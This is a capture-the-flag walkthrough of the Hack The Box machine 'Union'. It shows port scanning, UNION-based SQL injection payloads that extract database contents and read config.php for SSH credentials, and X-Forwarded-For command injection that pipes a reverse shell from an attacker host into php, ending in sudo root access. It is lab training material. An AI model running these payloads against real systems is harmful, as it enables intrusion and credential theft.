Union

September 14, 2025

Union

Created by	Page	Difficulty	OS
ippsec	Hack The Box	Medium	Linux

Enumeration

I began with a full TCP port scan, followed by a service and version detection scan on the discovered open ports:

  nmap -p- --open -vvv --min-rate 3000 -Pn -sS 10.10.11.128 -oG scan
  /opt/extractports scan
  nmap -p80 -sCV 10.10.11.128 -oN ports

From the scan results, only port 80 (HTTP) was open.
Initial Access (Web Enumeration)

Using ffuf, I enumerated .php files in the root directory:

  ffuf -c -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.128/FUZZ.php --mc=200

The following files were discovered:

index.php firewall.php config.php challenge.php
Both index.php and challenge.php contained input fields that were sent to the server. Testing with SQL payloads revealed differences in responses, suggesting SQL injection was possible.

Exploiting SQL Injection

Injecting a single quote (') and appending a comment sequence triggered diferent message, confirming SQL injection. Using a UNION injection, I successfully extracted database information:

  1' UNION SELECT database()-- -  
  -- november  
	
  1' UNION SELECT group_concat(schema_name) FROM information_schema.schemata-- -  
  -- mysql, information_schema, performance_schema, sys, november  
	
  1' UNION SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='november'-- -  
  -- flag, players  
	
  1' UNION SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='november' AND table_name='flag'-- -  
	
  1' UNION SELECT group_concat(one) FROM flag-- -  
  -- UHC{F1rst_5tep_2_Qualify}

Submitting the flag to firewall.php returned a success message, indicating that port 22 (SSH) had been opened.
Additionally, by leveraging load_file(), I retrieved the contents of config.php and extracted valid SSH credentials:
```
  player=a' union select load_file('/var/www/html/config.php');-- -
```
I then connected via SSH as user uhc and retrieved the first flag:
```
ssh uhc@10.10.11.128
```

Privilege Escalation

Reviewing the source of firewall.php, I identified functionality that appended my IP address to an iptables command. Since the input was unsanitized, this was vulnerable to command injection through the X-Forwarded-For HTTP header.
For example:
```
  X-FORWARDED-FOR: 1.1.1.1; whoami;
```
To gain a shell, I hosted a PHP reverse shell on my attacker machine and executed it remotely:
```
  X-FORWARDED-FOR: 1.1.1.1; curl http://10.10.14.16/rever.php | php;
```
This granted me a shell as the www-data user.
Checking for sudo privileges revealed full root access without a password prompt:
```
  sudo -l
```
Since www-data could run any command as root, I obtained the root flag:
```
  sudo cat /root/root.txt
```

Initial Access (Web Enumeration)

Exploiting SQL Injection

Privilege Escalation